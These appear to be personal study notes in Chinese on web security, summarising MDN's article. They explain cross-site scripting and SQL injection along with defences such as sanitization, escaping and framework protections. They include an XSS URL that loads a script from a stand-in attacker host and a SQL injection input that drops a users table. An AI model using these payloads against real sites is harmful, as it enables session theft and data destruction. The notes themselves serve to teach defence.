出處 , 也有簡體版 (https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security)
這裡列出常見的威脅 , 可以邊閱讀邊注意到哪些威脅最容易得逞
C-side user 利用 browser 注入的的腳本 ( script ) 攻擊 , 原理是用被信任的 code 拿到被授權的 cookie , 使用這個 cookie 來登入且取得資料 ( 如信用卡資料 、 聯絡資料 )
Note : XSS 漏洞是最~常碰到的威脅類型
XSS 依照網站回傳的注入腳本碼 , 被分為 reflected & persistent ( 反射及久駐 )
http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>
; 或是發送攻擊信件 , 誘使 user 點擊有興趣的連結觸發腳本 。POST, GET req 是 XSS 很常見的攻擊行徑, 任何從 browser 取得的資料都有潛在的危險 , 像是 cookie, user 上傳的檔案
最好的防禦就是攻擊移除或禁用可藏 code 的標籤 , 像是 <script>, <object>, <embed>, <link>
修改 user 資料使其無法使用腳本碼 , 或影響 server code , 被稱作 input 消毒 ( input sanitization
) 。 很多框架會自動預設消毒 HTML <input>
在 db 執行隨意的 SQL code , 讓資料備存取 、 刪改 , 無視使用者權限 。 它會假造一個管理者 , 進行 server data 存取 、 破壞或竄改以致失常
SQL 注入的原理是根據 boolean errors & Time-based
( 這段好難翻 + SQL 學過但沒在用都盡量忘光 , 不過我還是搭配簡體版努力看看)
舉例 : 下面這段 code 是HTML form 要填入文字 , 目的要從所有 users 中 , 抓出名字被輸入的那位statement = "SELECT * FROM users WHERE name = '" + userName + "';"
如果是好好輸入真的名字 , 那段 code 會正確的執行 。 但惡人手賤惡意輸入會使 SQL 產生新的完全不同的行為:SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
( 這裡把原本輸入 userName
改成 a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't
)
這個修改後的 staement 是一個有效的 SQL statement , 用來刪除 users table !除了刪除 , 它還 selects userinfo
table 。
這樣輸入有效進行攻擊的原因在於 , 第一部分的注入文字 a';
讓原本的 statement 已經執行完畢 。
要避免這類攻擊 , 必須確保任何可以通過 SQL query 的 user data 不能改動 nature of the query 。 其中一種方式就是讓 user 的 input 如果含有 SQL statement 就跳脫所有字元( \ 反斜線符號 ) 如下 :SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
框架通常會框架通常會為開發者做到跳脫字元 。 Django 就是一個例子